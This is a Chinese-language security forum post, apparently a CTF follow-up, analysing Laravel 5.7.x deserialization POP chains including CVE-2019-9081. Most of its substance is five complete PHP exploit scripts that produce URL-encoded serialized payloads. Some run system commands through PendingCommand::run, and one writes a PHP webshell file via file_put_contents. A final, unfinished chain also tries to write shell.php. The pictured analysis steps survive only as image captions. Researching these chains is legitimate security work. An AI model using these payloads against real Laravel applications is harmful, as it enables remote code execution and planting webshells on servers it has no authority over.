图说 Lavarel 5.7.X RCE POP 链

前言

也是这次的第五空间比赛中,出了一道关于Lavarel反序列化链的题目,引发了许多师傅对 Lavarel5.7.x 版本的反序列化链子的思考。

并且这么多链子跟下来,感觉有一个字直接灵魂。

这里防止文章过于冗长,便于师傅阅读和思考。所以这次直接用图片的方式分析一下POP链。

某些链子在7.X版本也是可以使用的哟~

想申请一个论坛的wiki的账号。

环境搭建

可以直接利用 composer 安装

composer create-project laravel/laravel laravel57 "5.7.*"

然后利用 artisan 来启动 lavarel 。访问 localhost:8000 即可

php artisan serve --host 0.0.0.0

1.0 CVE-2019-9081

1.1准备工作

首先我们先构造一个反序列化的利用点吧。
构造反序列化点

编写路由

routes\web.php

添加路由

1.2 漏洞复现

复现

1.3 POP链分析

这里尽量简短的分析一下这个链子吧。

image-20200630170503399

绕过 createABufferedOutputMock 之后就回到了 mockConsoleOutput 函数里面

图二

出了 bind 也就来到了 run 方法

图三

这样就进入了 Container.php 中的 call 方法。

命令执行

最后的执行栈图如下

执行栈图

1.4 exp

<?php
namespace Faker\ORM\CakePHP;

class EntityPopulator
{
    public $expectedOutput;
    public $expectedQuestions;
    public function __construct()
    {
        $this->expectedOutput=['Mrkaixin'];
        $this->expectedQuestions=['Mrkaixin'];
    }


}

namespace Illuminate\Foundation;
class Application
{
    public $bindings;
    public function __construct()
    {
        $this->bindings=['Illuminate\Console\OutputStyle'=>'Mrkaixin','Illuminate\Contracts\Console\Kernel'=>['concrete'=>'Illuminate\Foundation\Application']];
    }

}

namespace Illuminate\Foundation\Testing;

use Faker\ORM\CakePHP\EntityPopulator;
use Illuminate\Foundation\Application;

class PendingCommand{
    public $parameters;
    public $test;
    public $app;
    public $command;
    public function __construct()
    {
        $this->command='system';
        $this->parameters=['whoami'];
        $this->test=new EntityPopulator();
        $this->app=new Application();
    }
}


//echo serialize(new PendingCommand());
echo urlencode(serialize(new PendingCommand()));



2.0 巧用Format

2.1 漏洞复现

复现

2.2 POP链分析

如图所示

分析

2.3 exp

<?php
namespace Faker;

class Generator
{
    public $formatters;
    public function __construct()
    {
        $this->formatters = ['addCollection'=>"system"];
    }
}

namespace Symfony\Component\Routing\Loader\Configurator;
use Faker\Generator;

class ImportConfigurator
{
    public $route;
    public $parent;
    public function __construct()
    {
//        $this->route =["whoami"];
        $this->route="whoami";
        $this->parent = new Generator();
    }
}

echo urlencode(serialize(new ImportConfigurator()));


3.0 一条非常巧的链子

3.1 漏洞复现

v0XMFqEooG

3.2 POP链分析

思路分析

调用栈

调用栈

3.3 exp

<?php

namespace Illuminate\Database\Eloquent;
class Builder
{
    public function __construct()
    {
        $name = "<?php phpinfo(); ?>";
        $this->localMacros = ['register' => 'Illuminate\Support\Arr::first'];
        $this->$name="shell.php";
    }
}

namespace Illuminate\Routing;

use Illuminate\Database\Eloquent\Builder;

class PendingResourceRegistration
{
    public $name;

    public function __construct()
    {
        $this->registrar = new Builder();
        $this->name = 'file_put_contents';
    }
}


echo urlencode(serialize(new PendingResourceRegistration()));


4.0 巧妙"故技重施"

4.1 漏洞复现

复现

4.2 POP链分析

这个链子是在第一条链子被封锁的情况下的第二个办法。利用 call_user_func 去触发 src\Illuminate\Foundation\Testing\PendingCommand.php 中的 run 方法。所以这部分只分析到如何触发 run 方法。

分析

操作栈
操作栈

4.3 exp

<?php
namespace Faker\ORM\CakePHP;

class EntityPopulator
{
    public $expectedOutput;
    public $expectedQuestions;
    public function __construct()
    {
        $this->expectedOutput=['Mrkaixin'];
        $this->expectedQuestions=['Mrkaixin'];
    }


}

namespace Illuminate\Foundation;
class Application
{
    public $bindings;
    public function __construct()
    {
        $this->bindings=['Illuminate\Console\OutputStyle'=>'Mrkaixin','Illuminate\Contracts\Console\Kernel'=>['concrete'=>'Illuminate\Foundation\Application']];
    }

}

namespace Illuminate\Foundation\Testing;

use Faker\ORM\CakePHP\EntityPopulator;
use Illuminate\Foundation\Application;

class PendingCommand{
    public $parameters;
    public $test;
    public $app;
    public $command;
    public function __construct()
    {
        $this->command='system';
        $this->parameters=['whoami'];
        $this->test=new EntityPopulator();
        $this->app=new Application();
    }
}


namespace Symfony\Component\Routing;
class RouteCollection
{
    public $routes;

    public function __construct()
    {
        $this->routes =['Mrkaixin is beautiful'];
        $this->resources=['Mrkaixin is handsome'];
    }
}

namespace Faker;
use Illuminate\Foundation\Testing\PendingCommand;
use Symfony\Component\Routing\RouteCollection;

class ValidGenerator
{
    public $generator;

    public function __construct()
    {
        $this->generator =new RouteCollection();
        $this->validator=[new PendingCommand(),'run'];
    }
}

namespace Symfony\Component\Routing\Loader\Configurator;

use Faker\ValidGenerator;

class ImportConfigurator
{
    public $parent;
    public $route;

    public function __construct()
    {
        $this->parent = new ValidGenerator();
        $this->route = ['Mrkaixin'];
    }
}

echo urlencode(serialize(new ImportConfigurator()));

5.0巧妙的"故技重施" X2

5.1 漏洞复现

rUegh2UTWj

5.2 POP链分析

这里也是和链子4一样,寻找可以利用的call_user_func去触发src\Illuminate\Foundation\Testing\PendingCommand.php中的run方法。

如图所示

图解

调用栈图如下

调用栈

5.3 exp

<?php

namespace Faker\ORM\CakePHP;

class EntityPopulator
{
    public $expectedOutput;
    public $expectedQuestions;

    public function __construct()
    {
        $this->expectedOutput = ['Mrkaixin'];
        $this->expectedQuestions = ['Mrkaixin'];
    }


}

namespace Illuminate\Foundation;
class Application
{
    public $bindings;

    public function __construct()
    {
        $this->bindings = ['Illuminate\Console\OutputStyle' => 'Mrkaixin', 'Illuminate\Contracts\Console\Kernel' => ['concrete' => 'Illuminate\Foundation\Application']];
    }

}

namespace Illuminate\Foundation\Testing;

use Faker\ORM\CakePHP\EntityPopulator;
use Illuminate\Foundation\Application;

class PendingCommand
{
    public $parameters;
    public $test;
    public $app;
    public $command;

    public function __construct()
    {
        $this->command = 'system';
        $this->parameters = ['whoami'];
        $this->test = new EntityPopulator();
        $this->app = new Application();
    }
}


namespace Illuminate\Validation\Rules;

use Illuminate\Foundation\Testing\PendingCommand;

class RequiredIf
{
    public function __construct()
    {
        $this->condition = [new PendingCommand(), 'run'];
    }
}


namespace Symfony\Component\Routing;


class RouteCollection
{
    public function __construct()
    {
        $this->routes = [];
    }
}


namespace Symfony\Component\HttpFoundation;
use Illuminate\Validation\Rules\RequiredIf;

class Cookie{
    public function __construct()
    {
        $this->path=new RequiredIf();
    }
}

namespace Symfony\Component\Routing\Loader\Configurator;

use Symfony\Component\HttpFoundation\Cookie;
use Symfony\Component\Routing\RouteCollection;

class CollectionConfigurator
{
    public $collection;
    public function __construct()
    {
        $this->collection = new RouteCollection();
        $this->route = new Cookie();
    }

}


//echo (serialize(new CollectionConfigurator()));
echo urlencode(serialize(new CollectionConfigurator()));

6.0 一条没搞懂的POP链(失败)

6.1 疑惑点

首先还是和链二一样从 src\Illuminate\Routing\PendingResourceRegistration.phpregister 函数进去,

从这进入

然后这里也是想到了利用 call_user_func 来rce

可以传入3个可控参数

然后触发 Logger__call 函数。

触发__call

一开始以为这个地方是可控的,按理说都应该触发的是 call_user_func(xxxx) 但是这里触发的是某个类的 register 函数。导致产生错误。

image-20200701223832785

所以这个地方有点没搞懂。希望师傅们能给点思路。

6.2 POC

<?php

namespace Illuminate\Log;


class Logger
{

    public $logger;
    public $register;

    public function __construct()
    {
        $this->logger = $this;
        $this->register='call_user_func';
    }
}

namespace Illuminate\Routing;

use Illuminate\Log\Logger;

class PendingResourceRegistration
{
    public $name;
    public $controller;
    public $options;

    public function __construct()
    {
        $this->registrar = new Logger();
        $this->name = 'file_put_contents';
        $this->controller = 'shell.php';
        $this->options = '<?php phpinfo(); ?>';
    }
}


//echo serialize(new PendingCommand());
echo urlencode(serialize(new PendingResourceRegistration()));

参考资料

laravelv5-7反序列化rce

第五空间-WriteUp

4 个赞

老哥写的很不错,也易懂